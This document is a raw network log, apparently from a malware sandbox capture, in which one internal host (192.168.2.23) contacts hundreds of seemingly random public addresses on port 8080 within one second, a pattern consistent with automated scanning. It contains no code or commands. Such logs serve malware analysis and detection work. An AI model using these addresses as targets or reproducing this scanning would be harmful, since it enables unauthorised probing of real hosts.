Dec 26, 2023 21:22:46.612482071 CET	45469	8080	192.168.2.23	85.125.180.82
Dec 26, 2023 21:22:46.612485886 CET	45469	8080	192.168.2.23	31.192.250.69
Dec 26, 2023 21:22:46.612502098 CET	45469	8080	192.168.2.23	31.238.97.78
Dec 26, 2023 21:22:46.612502098 CET	45469	8080	192.168.2.23	95.117.65.116
Dec 26, 2023 21:22:46.612505913 CET	45469	8080	192.168.2.23	85.204.75.201
Dec 26, 2023 21:22:46.612515926 CET	45469	8080	192.168.2.23	94.254.87.41
Dec 26, 2023 21:22:46.612523079 CET	45469	8080	192.168.2.23	94.228.64.9
Dec 26, 2023 21:22:46.612528086 CET	45469	8080	192.168.2.23	95.74.163.103
Dec 26, 2023 21:22:46.612529039 CET	45469	8080	192.168.2.23	95.32.104.208
Dec 26, 2023 21:22:46.612538099 CET	45469	8080	192.168.2.23	31.188.148.2
Dec 26, 2023 21:22:46.612564087 CET	45469	8080	192.168.2.23	85.75.146.189
Dec 26, 2023 21:22:46.612571955 CET	45469	8080	192.168.2.23	62.154.179.164
Dec 26, 2023 21:22:46.612575054 CET	45469	8080	192.168.2.23	95.95.90.105
Dec 26, 2023 21:22:46.612575054 CET	45469	8080	192.168.2.23	85.126.115.127
Dec 26, 2023 21:22:46.612591028 CET	45469	8080	192.168.2.23	62.23.235.41
Dec 26, 2023 21:22:46.612607002 CET	45469	8080	192.168.2.23	95.239.182.218
Dec 26, 2023 21:22:46.612611055 CET	45469	8080	192.168.2.23	31.184.192.80
Dec 26, 2023 21:22:46.612611055 CET	45469	8080	192.168.2.23	85.95.92.45
Dec 26, 2023 21:22:46.612616062 CET	45469	8080	192.168.2.23	85.166.214.102
Dec 26, 2023 21:22:46.612632036 CET	45469	8080	192.168.2.23	62.196.151.25
Dec 26, 2023 21:22:46.612632036 CET	45469	8080	192.168.2.23	95.110.109.205
Dec 26, 2023 21:22:46.612632036 CET	45469	8080	192.168.2.23	31.114.247.65
Dec 26, 2023 21:22:46.612639904 CET	45469	8080	192.168.2.23	31.172.100.34
Dec 26, 2023 21:22:46.612663984 CET	45469	8080	192.168.2.23	85.166.165.188
Dec 26, 2023 21:22:46.612675905 CET	45469	8080	192.168.2.23	85.75.176.175
Dec 26, 2023 21:22:46.612675905 CET	45469	8080	192.168.2.23	94.247.79.236
Dec 26, 2023 21:22:46.612677097 CET	45469	8080	192.168.2.23	85.117.160.206
Dec 26, 2023 21:22:46.612687111 CET	45469	8080	192.168.2.23	85.47.37.46
Dec 26, 2023 21:22:46.612708092 CET	45469	8080	192.168.2.23	85.187.49.174
Dec 26, 2023 21:22:46.612725973 CET	45469	8080	192.168.2.23	95.245.192.55
Dec 26, 2023 21:22:46.612736940 CET	45469	8080	192.168.2.23	94.101.173.183
Dec 26, 2023 21:22:46.612736940 CET	45469	8080	192.168.2.23	85.64.139.136
Dec 26, 2023 21:22:46.612745047 CET	45469	8080	192.168.2.23	95.163.131.39
Dec 26, 2023 21:22:46.612751007 CET	45469	8080	192.168.2.23	31.188.101.116
Dec 26, 2023 21:22:46.612751007 CET	45469	8080	192.168.2.23	31.56.84.90
Dec 26, 2023 21:22:46.612765074 CET	45469	8080	192.168.2.23	85.69.109.113
Dec 26, 2023 21:22:46.612778902 CET	45469	8080	192.168.2.23	62.234.155.213
Dec 26, 2023 21:22:46.612795115 CET	45469	8080	192.168.2.23	62.52.139.82
Dec 26, 2023 21:22:46.612797022 CET	45469	8080	192.168.2.23	94.165.90.99
Dec 26, 2023 21:22:46.612802029 CET	45469	8080	192.168.2.23	95.111.242.157
Dec 26, 2023 21:22:46.612807989 CET	45469	8080	192.168.2.23	94.84.127.19
Dec 26, 2023 21:22:46.612828970 CET	45469	8080	192.168.2.23	85.125.47.0
Dec 26, 2023 21:22:46.612835884 CET	45469	8080	192.168.2.23	31.24.88.46
Dec 26, 2023 21:22:46.612837076 CET	45469	8080	192.168.2.23	94.196.124.200
Dec 26, 2023 21:22:46.612842083 CET	45469	8080	192.168.2.23	62.182.128.114
Dec 26, 2023 21:22:46.612845898 CET	45469	8080	192.168.2.23	95.230.132.100
Dec 26, 2023 21:22:46.612849951 CET	45469	8080	192.168.2.23	94.112.229.63
Dec 26, 2023 21:22:46.612858057 CET	45469	8080	192.168.2.23	94.241.78.59
Dec 26, 2023 21:22:46.612876892 CET	45469	8080	192.168.2.23	85.68.228.81
Dec 26, 2023 21:22:46.612879038 CET	45469	8080	192.168.2.23	85.108.127.254
Dec 26, 2023 21:22:46.612890959 CET	45469	8080	192.168.2.23	85.91.48.44
Dec 26, 2023 21:22:46.612895012 CET	45469	8080	192.168.2.23	95.27.49.120
Dec 26, 2023 21:22:46.612895012 CET	45469	8080	192.168.2.23	31.218.26.73
Dec 26, 2023 21:22:46.612895012 CET	45469	8080	192.168.2.23	31.190.167.249
Dec 26, 2023 21:22:46.612910986 CET	45469	8080	192.168.2.23	85.193.101.97
Dec 26, 2023 21:22:46.612912893 CET	45469	8080	192.168.2.23	95.5.136.233
Dec 26, 2023 21:22:46.612925053 CET	45469	8080	192.168.2.23	62.163.104.144
Dec 26, 2023 21:22:46.612935066 CET	45469	8080	192.168.2.23	85.111.251.236
Dec 26, 2023 21:22:46.612952948 CET	45469	8080	192.168.2.23	95.125.239.4
Dec 26, 2023 21:22:46.612961054 CET	45469	8080	192.168.2.23	94.241.85.255
Dec 26, 2023 21:22:46.612972021 CET	45469	8080	192.168.2.23	62.194.1.59
Dec 26, 2023 21:22:46.612972975 CET	45469	8080	192.168.2.23	95.253.124.58
Dec 26, 2023 21:22:46.612972975 CET	45469	8080	192.168.2.23	62.70.120.215
Dec 26, 2023 21:22:46.612987041 CET	45469	8080	192.168.2.23	62.248.102.218
Dec 26, 2023 21:22:46.612993002 CET	45469	8080	192.168.2.23	94.210.239.114
Dec 26, 2023 21:22:46.612998009 CET	45469	8080	192.168.2.23	85.142.43.136
Dec 26, 2023 21:22:46.613015890 CET	45469	8080	192.168.2.23	31.130.191.42
Dec 26, 2023 21:22:46.613015890 CET	45469	8080	192.168.2.23	31.93.176.226
Dec 26, 2023 21:22:46.613018036 CET	45469	8080	192.168.2.23	31.170.90.70
Dec 26, 2023 21:22:46.613032103 CET	45469	8080	192.168.2.23	94.13.165.220
Dec 26, 2023 21:22:46.613037109 CET	45469	8080	192.168.2.23	62.151.138.144
Dec 26, 2023 21:22:46.613054991 CET	45469	8080	192.168.2.23	62.67.34.239
Dec 26, 2023 21:22:46.613059044 CET	45469	8080	192.168.2.23	85.105.66.39
Dec 26, 2023 21:22:46.613063097 CET	45469	8080	192.168.2.23	31.119.255.53
Dec 26, 2023 21:22:46.613071918 CET	45469	8080	192.168.2.23	62.162.156.176
Dec 26, 2023 21:22:46.613073111 CET	45469	8080	192.168.2.23	85.141.66.64
Dec 26, 2023 21:22:46.613078117 CET	45469	8080	192.168.2.23	31.94.49.237
Dec 26, 2023 21:22:46.613081932 CET	45469	8080	192.168.2.23	85.12.128.228
Dec 26, 2023 21:22:46.613094091 CET	45469	8080	192.168.2.23	85.208.136.110
Dec 26, 2023 21:22:46.613106012 CET	45469	8080	192.168.2.23	62.60.219.248
Dec 26, 2023 21:22:46.613116980 CET	45469	8080	192.168.2.23	85.24.230.99
Dec 26, 2023 21:22:46.613121033 CET	45469	8080	192.168.2.23	95.5.221.142
Dec 26, 2023 21:22:46.613123894 CET	45469	8080	192.168.2.23	62.251.200.83
Dec 26, 2023 21:22:46.613142014 CET	45469	8080	192.168.2.23	31.183.216.140
Dec 26, 2023 21:22:46.613142014 CET	45469	8080	192.168.2.23	95.22.199.105
Dec 26, 2023 21:22:46.613159895 CET	45469	8080	192.168.2.23	94.33.103.165
Dec 26, 2023 21:22:46.613183022 CET	45469	8080	192.168.2.23	62.230.242.135
Dec 26, 2023 21:22:46.613183022 CET	45469	8080	192.168.2.23	62.163.205.148
Dec 26, 2023 21:22:46.613189936 CET	45469	8080	192.168.2.23	62.82.215.234
Dec 26, 2023 21:22:46.613193989 CET	45469	8080	192.168.2.23	62.167.27.243
Dec 26, 2023 21:22:46.613193989 CET	45469	8080	192.168.2.23	95.51.23.223
Dec 26, 2023 21:22:46.613212109 CET	45469	8080	192.168.2.23	94.188.41.196
Dec 26, 2023 21:22:46.613228083 CET	45469	8080	192.168.2.23	94.205.77.246
Dec 26, 2023 21:22:46.613229990 CET	45469	8080	192.168.2.23	85.251.212.109
Dec 26, 2023 21:22:46.613230944 CET	45469	8080	192.168.2.23	62.250.101.232
Dec 26, 2023 21:22:46.613248110 CET	45469	8080	192.168.2.23	62.104.147.65
Dec 26, 2023 21:22:46.613250017 CET	45469	8080	192.168.2.23	62.55.42.86
Dec 26, 2023 21:22:46.613250971 CET	45469	8080	192.168.2.23	62.60.160.210
Dec 26, 2023 21:22:46.613265038 CET	45469	8080	192.168.2.23	85.137.183.64
Dec 26, 2023 21:22:46.613265038 CET	45469	8080	192.168.2.23	95.212.52.230
Dec 26, 2023 21:22:46.613277912 CET	45469	8080	192.168.2.23	62.231.107.87
Dec 26, 2023 21:22:46.613293886 CET	45469	8080	192.168.2.23	31.152.228.28
Dec 26, 2023 21:22:46.613305092 CET	45469	8080	192.168.2.23	31.78.109.30
Dec 26, 2023 21:22:46.613320112 CET	45469	8080	192.168.2.23	85.123.210.202
Dec 26, 2023 21:22:46.613320112 CET	45469	8080	192.168.2.23	85.140.229.156
Dec 26, 2023 21:22:46.613337040 CET	45469	8080	192.168.2.23	62.122.38.126
Dec 26, 2023 21:22:46.613352060 CET	45469	8080	192.168.2.23	85.42.132.222
Dec 26, 2023 21:22:46.613352060 CET	45469	8080	192.168.2.23	62.35.69.235
Dec 26, 2023 21:22:46.613365889 CET	45469	8080	192.168.2.23	94.138.188.244
Dec 26, 2023 21:22:46.613365889 CET	45469	8080	192.168.2.23	94.78.93.82
Dec 26, 2023 21:22:46.613373995 CET	45469	8080	192.168.2.23	62.60.10.121
Dec 26, 2023 21:22:46.613388062 CET	45469	8080	192.168.2.23	94.60.171.93
Dec 26, 2023 21:22:46.613393068 CET	45469	8080	192.168.2.23	62.41.166.147
Dec 26, 2023 21:22:46.613405943 CET	45469	8080	192.168.2.23	62.253.122.62
Dec 26, 2023 21:22:46.613409042 CET	45469	8080	192.168.2.23	94.73.37.64
Dec 26, 2023 21:22:46.613425970 CET	45469	8080	192.168.2.23	31.109.89.197
Dec 26, 2023 21:22:46.613434076 CET	45469	8080	192.168.2.23	62.82.29.216
Dec 26, 2023 21:22:46.613451958 CET	45469	8080	192.168.2.23	85.14.10.27
Dec 26, 2023 21:22:46.613456011 CET	45469	8080	192.168.2.23	31.249.4.128
Dec 26, 2023 21:22:46.613456011 CET	45469	8080	192.168.2.23	95.207.139.28
Dec 26, 2023 21:22:46.613460064 CET	45469	8080	192.168.2.23	85.126.77.24
Dec 26, 2023 21:22:46.613470078 CET	45469	8080	192.168.2.23	62.191.134.2
Dec 26, 2023 21:22:46.613470078 CET	45469	8080	192.168.2.23	94.153.134.31
Dec 26, 2023 21:22:46.613471031 CET	45469	8080	192.168.2.23	95.247.154.206
Dec 26, 2023 21:22:46.613478899 CET	45469	8080	192.168.2.23	95.180.107.40
Dec 26, 2023 21:22:46.613493919 CET	45469	8080	192.168.2.23	31.48.254.71
Dec 26, 2023 21:22:46.613503933 CET	45469	8080	192.168.2.23	31.152.92.160
Dec 26, 2023 21:22:46.613512039 CET	45469	8080	192.168.2.23	94.3.124.58
Dec 26, 2023 21:22:46.613512039 CET	45469	8080	192.168.2.23	95.107.161.229
Dec 26, 2023 21:22:46.613514900 CET	45469	8080	192.168.2.23	62.178.236.166
Dec 26, 2023 21:22:46.613523960 CET	45469	8080	192.168.2.23	62.156.167.116
Dec 26, 2023 21:22:46.613542080 CET	45469	8080	192.168.2.23	95.5.182.100
Dec 26, 2023 21:22:46.613549948 CET	45469	8080	192.168.2.23	94.89.55.71
Dec 26, 2023 21:22:46.613568068 CET	45469	8080	192.168.2.23	95.53.43.28
Dec 26, 2023 21:22:46.613574028 CET	45469	8080	192.168.2.23	95.210.1.10
Dec 26, 2023 21:22:46.613599062 CET	45469	8080	192.168.2.23	85.100.81.105
Dec 26, 2023 21:22:46.613599062 CET	45469	8080	192.168.2.23	31.178.133.91
Dec 26, 2023 21:22:46.613600016 CET	45469	8080	192.168.2.23	85.116.91.164
Dec 26, 2023 21:22:46.613600969 CET	45469	8080	192.168.2.23	62.254.244.108
Dec 26, 2023 21:22:46.613600969 CET	45469	8080	192.168.2.23	31.150.152.117
Dec 26, 2023 21:22:46.613617897 CET	45469	8080	192.168.2.23	85.100.184.8
Dec 26, 2023 21:22:46.613630056 CET	45469	8080	192.168.2.23	31.52.155.211
Dec 26, 2023 21:22:46.613652945 CET	45469	8080	192.168.2.23	94.137.35.20
Dec 26, 2023 21:22:46.613657951 CET	45469	8080	192.168.2.23	62.163.179.121
Dec 26, 2023 21:22:46.613668919 CET	45469	8080	192.168.2.23	85.47.122.79
Dec 26, 2023 21:22:46.613677979 CET	45469	8080	192.168.2.23	31.217.245.218
Dec 26, 2023 21:22:46.613692999 CET	45469	8080	192.168.2.23	31.0.60.62
Dec 26, 2023 21:22:46.613698959 CET	45469	8080	192.168.2.23	62.77.114.106
Dec 26, 2023 21:22:46.613712072 CET	45469	8080	192.168.2.23	62.235.24.19
Dec 26, 2023 21:22:46.613723040 CET	45469	8080	192.168.2.23	94.135.18.58
Dec 26, 2023 21:22:46.613734007 CET	45469	8080	192.168.2.23	94.240.226.60
Dec 26, 2023 21:22:46.613745928 CET	45469	8080	192.168.2.23	62.149.146.246
Dec 26, 2023 21:22:46.613745928 CET	45469	8080	192.168.2.23	95.226.250.67
Dec 26, 2023 21:22:46.613755941 CET	45469	8080	192.168.2.23	31.120.75.219
Dec 26, 2023 21:22:46.613755941 CET	45469	8080	192.168.2.23	95.209.32.44
Dec 26, 2023 21:22:46.613769054 CET	45469	8080	192.168.2.23	62.236.41.72
Dec 26, 2023 21:22:46.613769054 CET	45469	8080	192.168.2.23	62.79.33.108
Dec 26, 2023 21:22:46.613781929 CET	45469	8080	192.168.2.23	94.74.66.154
Dec 26, 2023 21:22:46.613781929 CET	45469	8080	192.168.2.23	85.208.186.218
Dec 26, 2023 21:22:46.613802910 CET	45469	8080	192.168.2.23	95.57.191.199
Dec 26, 2023 21:22:46.613802910 CET	45469	8080	192.168.2.23	95.210.208.104
Dec 26, 2023 21:22:46.613828897 CET	45469	8080	192.168.2.23	62.89.98.176
Dec 26, 2023 21:22:46.613828897 CET	45469	8080	192.168.2.23	94.198.93.28
Dec 26, 2023 21:22:46.613832951 CET	45469	8080	192.168.2.23	94.229.115.238
Dec 26, 2023 21:22:46.613836050 CET	45469	8080	192.168.2.23	95.242.12.247
Dec 26, 2023 21:22:46.613841057 CET	45469	8080	192.168.2.23	62.14.122.68
Dec 26, 2023 21:22:46.613841057 CET	45469	8080	192.168.2.23	85.9.203.87
Dec 26, 2023 21:22:46.613843918 CET	45469	8080	192.168.2.23	31.45.63.46
Dec 26, 2023 21:22:46.613857031 CET	45469	8080	192.168.2.23	94.14.230.255
Dec 26, 2023 21:22:46.613866091 CET	45469	8080	192.168.2.23	62.88.100.100
Dec 26, 2023 21:22:46.613866091 CET	45469	8080	192.168.2.23	62.228.35.63
Dec 26, 2023 21:22:46.613888025 CET	45469	8080	192.168.2.23	95.232.237.154
Dec 26, 2023 21:22:46.613888025 CET	45469	8080	192.168.2.23	62.225.74.183
Dec 26, 2023 21:22:46.613904953 CET	45469	8080	192.168.2.23	94.78.53.143
Dec 26, 2023 21:22:46.613909006 CET	45469	8080	192.168.2.23	94.222.149.197
Dec 26, 2023 21:22:46.613909006 CET	45469	8080	192.168.2.23	85.31.63.228
Dec 26, 2023 21:22:46.613919020 CET	45469	8080	192.168.2.23	94.83.71.65
Dec 26, 2023 21:22:46.613919020 CET	45469	8080	192.168.2.23	95.67.49.203
Dec 26, 2023 21:22:46.613938093 CET	45469	8080	192.168.2.23	95.175.59.1
Dec 26, 2023 21:22:46.613945007 CET	45469	8080	192.168.2.23	62.187.27.240
Dec 26, 2023 21:22:46.613962889 CET	45469	8080	192.168.2.23	85.207.104.209
Dec 26, 2023 21:22:46.613966942 CET	45469	8080	192.168.2.23	94.78.250.62
Dec 26, 2023 21:22:46.613981962 CET	45469	8080	192.168.2.23	85.119.1.224
Dec 26, 2023 21:22:46.613990068 CET	45469	8080	192.168.2.23	95.35.8.190
Dec 26, 2023 21:22:46.613998890 CET	45469	8080	192.168.2.23	95.221.126.196
Dec 26, 2023 21:22:46.614020109 CET	45469	8080	192.168.2.23	94.23.178.61
Dec 26, 2023 21:22:46.614023924 CET	45469	8080	192.168.2.23	62.50.82.97
Dec 26, 2023 21:22:46.614029884 CET	45469	8080	192.168.2.23	94.103.95.95
Dec 26, 2023 21:22:46.614028931 CET	45469	8080	192.168.2.23	95.74.225.85
Dec 26, 2023 21:22:46.614032030 CET	45469	8080	192.168.2.23	31.173.137.195
Dec 26, 2023 21:22:46.614046097 CET	45469	8080	192.168.2.23	85.52.92.60
Dec 26, 2023 21:22:46.614062071 CET	45469	8080	192.168.2.23	94.101.196.117
Dec 26, 2023 21:22:46.614069939 CET	45469	8080	192.168.2.23	31.160.170.141
Dec 26, 2023 21:22:46.614079952 CET	45469	8080	192.168.2.23	62.215.186.65
Dec 26, 2023 21:22:46.614098072 CET	45469	8080	192.168.2.23	95.133.233.75
Dec 26, 2023 21:22:46.614100933 CET	45469	8080	192.168.2.23	31.144.13.16
Dec 26, 2023 21:22:46.614104033 CET	45469	8080	192.168.2.23	95.76.82.211
Dec 26, 2023 21:22:46.614105940 CET	45469	8080	192.168.2.23	85.113.211.38
Dec 26, 2023 21:22:46.614115000 CET	45469	8080	192.168.2.23	31.235.153.206
Dec 26, 2023 21:22:46.614132881 CET	45469	8080	192.168.2.23	95.91.47.225
Dec 26, 2023 21:22:46.614147902 CET	45469	8080	192.168.2.23	95.169.17.179
Dec 26, 2023 21:22:46.614166021 CET	45469	8080	192.168.2.23	94.193.72.148
Dec 26, 2023 21:22:46.614166021 CET	45469	8080	192.168.2.23	85.236.144.112
Dec 26, 2023 21:22:46.614166021 CET	45469	8080	192.168.2.23	62.43.32.227
Dec 26, 2023 21:22:46.614188910 CET	45469	8080	192.168.2.23	85.73.230.179
Dec 26, 2023 21:22:46.614188910 CET	45469	8080	192.168.2.23	94.19.116.15
Dec 26, 2023 21:22:46.614193916 CET	45469	8080	192.168.2.23	62.93.20.107
Dec 26, 2023 21:22:46.614193916 CET	45469	8080	192.168.2.23	95.102.182.93
Dec 26, 2023 21:22:46.614197016 CET	45469	8080	192.168.2.23	95.208.141.234
Dec 26, 2023 21:22:46.614208937 CET	45469	8080	192.168.2.23	85.0.180.161
Dec 26, 2023 21:22:46.614232063 CET	45469	8080	192.168.2.23	94.255.3.71
Dec 26, 2023 21:22:46.614232063 CET	45469	8080	192.168.2.23	85.20.145.132
Dec 26, 2023 21:22:46.614233017 CET	45469	8080	192.168.2.23	85.245.61.241
Dec 26, 2023 21:22:46.614245892 CET	45469	8080	192.168.2.23	85.157.70.50
Dec 26, 2023 21:22:46.614245892 CET	45469	8080	192.168.2.23	85.65.6.78
Dec 26, 2023 21:22:46.614262104 CET	45469	8080	192.168.2.23	85.199.163.32
Dec 26, 2023 21:22:46.614264965 CET	45469	8080	192.168.2.23	85.5.209.246
Dec 26, 2023 21:22:46.614270926 CET	45469	8080	192.168.2.23	95.167.232.81
Dec 26, 2023 21:22:46.614270926 CET	45469	8080	192.168.2.23	62.90.93.92
Dec 26, 2023 21:22:46.614286900 CET	45469	8080	192.168.2.23	94.168.130.201
Dec 26, 2023 21:22:46.614290953 CET	45469	8080	192.168.2.23	62.141.212.49
Dec 26, 2023 21:22:46.614303112 CET	45469	8080	192.168.2.23	94.225.233.150
Dec 26, 2023 21:22:46.614306927 CET	45469	8080	192.168.2.23	62.37.249.115
Dec 26, 2023 21:22:46.614310026 CET	45469	8080	192.168.2.23	94.94.241.181
Dec 26, 2023 21:22:46.614321947 CET	45469	8080	192.168.2.23	95.77.149.240
Dec 26, 2023 21:22:46.614335060 CET	45469	8080	192.168.2.23	62.200.159.246
Dec 26, 2023 21:22:46.614343882 CET	45469	8080	192.168.2.23	94.66.122.35
Dec 26, 2023 21:22:46.614355087 CET	45469	8080	192.168.2.23	62.236.95.126
Dec 26, 2023 21:22:46.614366055 CET	45469	8080	192.168.2.23	31.223.178.45
Dec 26, 2023 21:22:46.614367962 CET	45469	8080	192.168.2.23	94.44.125.43
Dec 26, 2023 21:22:46.614377022 CET	45469	8080	192.168.2.23	62.190.37.131
Dec 26, 2023 21:22:46.614384890 CET	45469	8080	192.168.2.23	31.253.177.151
Dec 26, 2023 21:22:46.614384890 CET	45469	8080	192.168.2.23	94.69.157.176
Dec 26, 2023 21:22:46.614398003 CET	45469	8080	192.168.2.23	95.62.153.162
Dec 26, 2023 21:22:46.614404917 CET	45469	8080	192.168.2.23	85.114.20.222
Dec 26, 2023 21:22:46.614422083 CET	45469	8080	192.168.2.23	95.48.221.217
Dec 26, 2023 21:22:46.614433050 CET	45469	8080	192.168.2.23	62.234.209.244
Dec 26, 2023 21:22:46.614433050 CET	45469	8080	192.168.2.23	94.152.225.150
Dec 26, 2023 21:22:46.614451885 CET	45469	8080	192.168.2.23	62.4.208.61
Dec 26, 2023 21:22:46.614461899 CET	45469	8080	192.168.2.23	85.251.233.82
Dec 26, 2023 21:22:46.614464045 CET	45469	8080	192.168.2.23	94.54.226.205
Dec 26, 2023 21:22:46.614480019 CET	45469	8080	192.168.2.23	62.133.26.189
Dec 26, 2023 21:22:46.614487886 CET	45469	8080	192.168.2.23	94.8.236.86
Dec 26, 2023 21:22:46.614487886 CET	45469	8080	192.168.2.23	94.197.232.190
Dec 26, 2023 21:22:46.614510059 CET	45469	8080	192.168.2.23	85.186.201.125
Dec 26, 2023 21:22:46.614510059 CET	45469	8080	192.168.2.23	94.206.158.28
Dec 26, 2023 21:22:46.614521027 CET	45469	8080	192.168.2.23	94.255.44.110
Dec 26, 2023 21:22:46.614522934 CET	45469	8080	192.168.2.23	62.184.150.44
Dec 26, 2023 21:22:46.614522934 CET	45469	8080	192.168.2.23	94.88.187.129
Dec 26, 2023 21:22:46.614536047 CET	45469	8080	192.168.2.23	62.39.14.201
Dec 26, 2023 21:22:46.614543915 CET	45469	8080	192.168.2.23	85.219.34.114
Dec 26, 2023 21:22:46.614553928 CET	45469	8080	192.168.2.23	94.40.197.189
Dec 26, 2023 21:22:46.614556074 CET	45469	8080	192.168.2.23	31.179.128.247
Dec 26, 2023 21:22:46.614563942 CET	45469	8080	192.168.2.23	31.59.139.190
Dec 26, 2023 21:22:46.614572048 CET	45469	8080	192.168.2.23	31.5.39.31
Dec 26, 2023 21:22:46.614582062 CET	45469	8080	192.168.2.23	31.189.79.161
Dec 26, 2023 21:22:46.614595890 CET	45469	8080	192.168.2.23	95.47.254.200
Dec 26, 2023 21:22:46.614595890 CET	45469	8080	192.168.2.23	31.215.137.148
Dec 26, 2023 21:22:46.614607096 CET	45469	8080	192.168.2.23	95.166.121.241
Dec 26, 2023 21:22:46.614614964 CET	45469	8080	192.168.2.23	94.91.27.254
Dec 26, 2023 21:22:46.614630938 CET	45469	8080	192.168.2.23	85.101.225.45
Dec 26, 2023 21:22:46.614640951 CET	45469	8080	192.168.2.23	62.32.157.170
Dec 26, 2023 21:22:46.614645958 CET	45469	8080	192.168.2.23	95.84.87.15
Dec 26, 2023 21:22:46.614648104 CET	45469	8080	192.168.2.23	62.218.36.16
Dec 26, 2023 21:22:46.614660025 CET	45469	8080	192.168.2.23	85.64.26.80
Dec 26, 2023 21:22:46.614675999 CET	45469	8080	192.168.2.23	85.191.85.124
Dec 26, 2023 21:22:46.614681005 CET	45469	8080	192.168.2.23	94.222.187.79
Dec 26, 2023 21:22:46.614684105 CET	45469	8080	192.168.2.23	31.86.8.203
Dec 26, 2023 21:22:46.614684105 CET	45469	8080	192.168.2.23	85.229.207.31
Dec 26, 2023 21:22:46.614689112 CET	45469	8080	192.168.2.23	31.130.48.5
Dec 26, 2023 21:22:46.614690065 CET	45469	8080	192.168.2.23	62.180.204.17
Dec 26, 2023 21:22:46.614692926 CET	45469	8080	192.168.2.23	85.199.241.243
Dec 26, 2023 21:22:46.614694118 CET	45469	8080	192.168.2.23	31.131.115.176
Dec 26, 2023 21:22:46.614702940 CET	45469	8080	192.168.2.23	31.5.2.99
Dec 26, 2023 21:22:46.614708900 CET	45469	8080	192.168.2.23	94.84.66.161
Dec 26, 2023 21:22:46.614725113 CET	45469	8080	192.168.2.23	94.223.113.168
Dec 26, 2023 21:22:46.614733934 CET	45469	8080	192.168.2.23	31.140.37.27
Dec 26, 2023 21:22:46.614746094 CET	45469	8080	192.168.2.23	62.4.161.62
Dec 26, 2023 21:22:46.614754915 CET	45469	8080	192.168.2.23	95.24.84.37
Dec 26, 2023 21:22:46.614762068 CET	45469	8080	192.168.2.23	31.36.132.238
Dec 26, 2023 21:22:46.614763975 CET	45469	8080	192.168.2.23	31.196.126.119
Dec 26, 2023 21:22:46.614774942 CET	45469	8080	192.168.2.23	95.2.45.107
Dec 26, 2023 21:22:46.614779949 CET	45469	8080	192.168.2.23	94.55.42.227
Dec 26, 2023 21:22:46.614793062 CET	45469	8080	192.168.2.23	62.0.55.111
Dec 26, 2023 21:22:46.614803076 CET	45469	8080	192.168.2.23	94.183.92.47
Dec 26, 2023 21:22:46.614811897 CET	45469	8080	192.168.2.23	31.101.99.77
Dec 26, 2023 21:22:46.614811897 CET	45469	8080	192.168.2.23	85.163.96.182
Dec 26, 2023 21:22:46.614811897 CET	45469	8080	192.168.2.23	31.148.3.124
Dec 26, 2023 21:22:46.614820004 CET	45469	8080	192.168.2.23	62.231.180.213
Dec 26, 2023 21:22:46.614820004 CET	45469	8080	192.168.2.23	85.255.209.226
Dec 26, 2023 21:22:46.614836931 CET	45469	8080	192.168.2.23	62.47.165.5
Dec 26, 2023 21:22:46.614846945 CET	45469	8080	192.168.2.23	62.90.149.180
Dec 26, 2023 21:22:46.614871025 CET	45469	8080	192.168.2.23	95.153.118.229
Dec 26, 2023 21:22:46.614871025 CET	45469	8080	192.168.2.23	62.114.215.128
Dec 26, 2023 21:22:46.614873886 CET	45469	8080	192.168.2.23	94.68.30.202
Dec 26, 2023 21:22:46.614878893 CET	45469	8080	192.168.2.23	31.92.194.21
Dec 26, 2023 21:22:46.614895105 CET	45469	8080	192.168.2.23	94.213.100.233
Dec 26, 2023 21:22:46.614895105 CET	45469	8080	192.168.2.23	94.90.10.0
Dec 26, 2023 21:22:46.614897013 CET	45469	8080	192.168.2.23	85.86.68.58
Dec 26, 2023 21:22:46.614906073 CET	45469	8080	192.168.2.23	94.94.12.61
Dec 26, 2023 21:22:46.614912987 CET	45469	8080	192.168.2.23	31.224.89.230
Dec 26, 2023 21:22:46.614924908 CET	45469	8080	192.168.2.23	31.211.255.129
Dec 26, 2023 21:22:46.614931107 CET	45469	8080	192.168.2.23	85.116.87.159
Dec 26, 2023 21:22:46.614936113 CET	45469	8080	192.168.2.23	31.7.186.215
Dec 26, 2023 21:22:46.614959002 CET	45469	8080	192.168.2.23	94.2.73.248
Dec 26, 2023 21:22:46.614959002 CET	45469	8080	192.168.2.23	31.189.48.57
Dec 26, 2023 21:22:46.614979029 CET	45469	8080	192.168.2.23	94.33.100.79
Dec 26, 2023 21:22:46.614979982 CET	45469	8080	192.168.2.23	62.61.66.155
Dec 26, 2023 21:22:46.614993095 CET	45469	8080	192.168.2.23	85.185.223.82
Dec 26, 2023 21:22:46.614993095 CET	45469	8080	192.168.2.23	95.66.25.251
Dec 26, 2023 21:22:46.614993095 CET	45469	8080	192.168.2.23	85.16.212.221
Dec 26, 2023 21:22:46.615000010 CET	45469	8080	192.168.2.23	94.41.153.12
Dec 26, 2023 21:22:46.615000963 CET	45469	8080	192.168.2.23	94.135.27.102
Dec 26, 2023 21:22:46.615015030 CET	45469	8080	192.168.2.23	94.150.90.168
Dec 26, 2023 21:22:46.615021944 CET	45469	8080	192.168.2.23	85.55.182.95
Dec 26, 2023 21:22:46.615034103 CET	45469	8080	192.168.2.23	62.212.174.59
Dec 26, 2023 21:22:46.615044117 CET	45469	8080	192.168.2.23	94.146.67.66
Dec 26, 2023 21:22:46.615050077 CET	45469	8080	192.168.2.23	94.126.185.184
Dec 26, 2023 21:22:46.615055084 CET	45469	8080	192.168.2.23	31.207.211.65
Dec 26, 2023 21:22:46.615068913 CET	45469	8080	192.168.2.23	31.56.160.29
Dec 26, 2023 21:22:46.615082979 CET	45469	8080	192.168.2.23	85.44.138.52
Dec 26, 2023 21:22:46.615086079 CET	45469	8080	192.168.2.23	94.153.71.137
Dec 26, 2023 21:22:46.615094900 CET	45469	8080	192.168.2.23	94.249.66.214
Dec 26, 2023 21:22:46.615124941 CET	45469	8080	192.168.2.23	31.107.212.41
Dec 26, 2023 21:22:46.615125895 CET	45469	8080	192.168.2.23	85.27.194.44
Dec 26, 2023 21:22:46.615135908 CET	45469	8080	192.168.2.23	94.217.244.229
Dec 26, 2023 21:22:46.615139008 CET	45469	8080	192.168.2.23	31.208.182.138
Dec 26, 2023 21:22:46.615154028 CET	45469	8080	192.168.2.23	85.78.67.7
Dec 26, 2023 21:22:46.615154028 CET	45469	8080	192.168.2.23	31.71.29.220
Dec 26, 2023 21:22:46.615155935 CET	45469	8080	192.168.2.23	31.104.52.83
Dec 26, 2023 21:22:46.615175962 CET	45469	8080	192.168.2.23	62.72.37.171
Dec 26, 2023 21:22:46.615175962 CET	45469	8080	192.168.2.23	62.141.24.0
Dec 26, 2023 21:22:46.615178108 CET	45469	8080	192.168.2.23	85.188.98.11
